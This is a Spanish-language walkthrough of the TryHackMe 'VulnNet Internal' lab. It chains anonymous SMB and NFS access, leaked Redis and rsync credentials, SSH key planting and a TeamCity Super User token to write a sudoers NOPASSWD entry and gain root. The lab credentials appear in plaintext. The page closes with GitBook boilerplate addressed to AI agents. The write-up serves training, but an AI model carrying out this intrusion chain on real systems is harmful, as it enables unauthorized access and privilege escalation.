> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/vulnnet_internal.md).
# VulnNet Internal
## Introduccion
En esta maquina de TryHackMe se trabaja una red interna con varios servicios expuestos: SMB, NFS, Redis, rsync y un TeamCity accesible solo desde `localhost`.
La cadena empieza enumerando recursos anonimos en SMB y NFS. Desde el export NFS se recupera la password de Redis, y en Redis aparece una credencial codificada en Base64 para `rsync`. Con esa credencial se puede escribir en el home de `sys-internal`, subir una clave publica SSH y obtener acceso a la maquina.
La escalada final llega mediante TeamCity: el servicio escucha en `127.0.0.1:8111`, se accede por port forwarding, se recupera un token de Super User desde los logs y se crea un build step que modifica `sudoers` para dar permisos de root a `sys-internal`.
***
## Escaneo y enumeracion
Se realiza un escaneo completo con Nmap:
```bash
nmap -sVCS -Pn -n -p- --min-rate 5000 10.128.171.30
```
Servicios principales:
| Puerto | Servicio | Version |
| -------- | -------- | --------------------- |
| 22/tcp | SSH | OpenSSH 8.2p1 Ubuntu |
| 445/tcp | SMB | Samba smbd 4 |
| 873/tcp | rsync | protocol version 31 |
| 2049/tcp | NFS | nfs\_acl |
| 6379/tcp | Redis | Redis key-value store |
La superficie es claramente interna, asi que se empieza por enumerar SMB, NFS, Redis y rsync.
***
## Enumeracion SMB
Se listan recursos compartidos sin credenciales:
```bash
smbclient -L 10.128.171.30 -N
```
Aparece el recurso `shares`:
```
shares
```
Se accede de forma anonima:
```bash
smbclient //10.128.171.30/shares -N
```
Dentro aparecen los directorios `data` y `temp`, desde los que se descargan archivos como:
```
data.txt
business-req.txt
services.txt
```
Estos archivos ayudan a orientar la enumeracion hacia los servicios internos.
***
## Enumeracion rsync inicial
Se revisan modulos de `rsync`:
```bash
rsync rsync://10.128.171.30/
```
El servidor muestra el modulo `files`, pero al intentar acceder pide password:
```bash
rsync rsync://10.128.171.30/files
```
De momento se deja pendiente y se continua con NFS.
***
## Enumeracion NFS
Se listan exports NFS:
```bash
showmount --exports 10.128.171.30
```
Aparece exportado:
```
/opt/conf *
```
Se monta el recurso:
```bash
sudo mkdir -p /mnt/VulnNet
sudo mount 10.128.171.30:/opt/conf /mnt/VulnNet
```
Dentro del directorio montado se encuentra configuracion de Redis:
```bash
cd /mnt/VulnNet/redis
cat redis.conf
```
El archivo contiene la password de Redis:
```
B65Hx562F@ggAZ@F
```
***
## Acceso a Redis
Con la password encontrada se conecta a Redis:
```bash
redis-cli -h 10.128.171.30 -a 'B65Hx562F@ggAZ@F' -p 6379
```
Se selecciona la base de datos y se listan claves:
```redis
select 0
keys *
get "internal flag"
```
Una clave interesante es:
```
authlist
```
Se leen sus entradas:
```redis
lrange authlist 0 5
```
Las entradas estan codificadas en Base64. Al decodificar una de ellas:
```bash
echo "QXV0aG9yaXphdGlvbiBmb3Igc..." | base64 -d
```
Se obtiene una credencial para rsync:
```
rsync-connect:Hcg3HP67aTWW@Bc72v
```
***
## Acceso por rsync
Con la credencial se vuelve al modulo `files`:
```bash
rsync rsync://rsync-connect@10.128.171.30/files
```
El modulo contiene varios directorios de usuario:
```
sysm-user
sys-internal
ubuntu
```
El directorio mas interesante es `sys-internal`:
```bash
rsync rsync://rsync-connect@10.128.171.30/files/sys-internal/
```
Como existe un directorio `.ssh`, se genera una clave SSH local:
```bash
ssh-keygen -t ed25519 -f /tmp/thm/id_ed25519 -N ""
```
Se prepara la clave publica como `authorized_keys` y se sube por rsync:
```bash
cp /tmp/thm/id_ed25519.pub /tmp/thm/authorized_keys
rsync -a /tmp/thm/authorized_keys \
rsync://rsync-connect@10.128.171.30/files/sys-internal/.ssh/
```
***
## Acceso SSH como sys-internal
Con la clave privada se accede por SSH:
```bash
ssh -i /tmp/thm/id_ed25519 sys-internal@10.128.171.30
```
El acceso inicial local ya esta conseguido como:
```
sys-internal
```
***
## Enumeracion de TeamCity
En la raiz del sistema aparece un directorio `TeamCity`:
```bash
ls /
cd /TeamCity
```
El README indica que TeamCity suele escuchar en el puerto `8111`:
```bash
cat TeamCity-readme.txt
```
Se revisan conexiones locales:
```bash
ss -tn
```
TeamCity esta escuchando en:
```
127.0.0.1:8111
```
Se crea un tunel SSH desde la maquina atacante:
```bash
ssh -i /tmp/thm/id_ed25519 -L 8111:127.0.0.1:8111 sys-internal@10.128.171.30
```
Al abrir `http://localhost:8111/login.html`, aparece el login de TeamCity:
La interfaz indica que no hay administrador y permite entrar como Super User usando un token.
***
## Token de Super User
Se buscan tokens en los logs de TeamCity:
```bash
cd /TeamCity/logs
cat * | grep "token" 2>/dev/null
```
Los logs muestran varios tokens de autenticacion de Super User. Se usa uno de ellos como password dejando el usuario vacio.
Tras el login, se accede como `Super user`:
***
## Ejecucion de comandos con TeamCity
Se crea un proyecto de prueba:
Dentro del proyecto se crea una build configuration con un build step de tipo `Command Line`:
El script modifica `sudoers` para que `sys-internal` pueda ejecutar cualquier comando como root sin password:
```bash
echo "sys-internal ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/sys-internal
```
Se ejecuta el build:
***
## Escalada a root
Tras ejecutar el build, se vuelve a la shell SSH y se prueba `sudo`:
```bash
sudo su
whoami
```
El resultado confirma el compromiso total:
```
root
```
***
## Resumen
La ruta completa queda asi:
1. Escaneo con Nmap para detectar SMB, rsync, NFS, Redis y SSH.
2. Enumeracion SMB anonima y descarga de archivos desde `shares`.
3. Enumeracion inicial de rsync y deteccion del modulo `files`.
4. Enumeracion NFS y montaje de `/opt/conf`.
5. Lectura de `redis.conf` para obtener la password de Redis.
6. Acceso a Redis y lectura de claves internas.
7. Decodificacion Base64 de `authlist`.
8. Obtencion de credenciales para `rsync-connect`.
9. Acceso al home de `sys-internal` por rsync.
10. Subida de una clave publica SSH como `authorized_keys`.
11. Acceso SSH como `sys-internal`.
12. Deteccion de TeamCity en `127.0.0.1:8111`.
13. Port forwarding SSH para acceder a TeamCity desde el navegador.
14. Recuperacion de token de Super User desde logs.
15. Creacion de build step `Command Line`.
16. Modificacion de `sudoers`.
17. Escalada final a `root` con `sudo su`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/vulnnet_internal.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.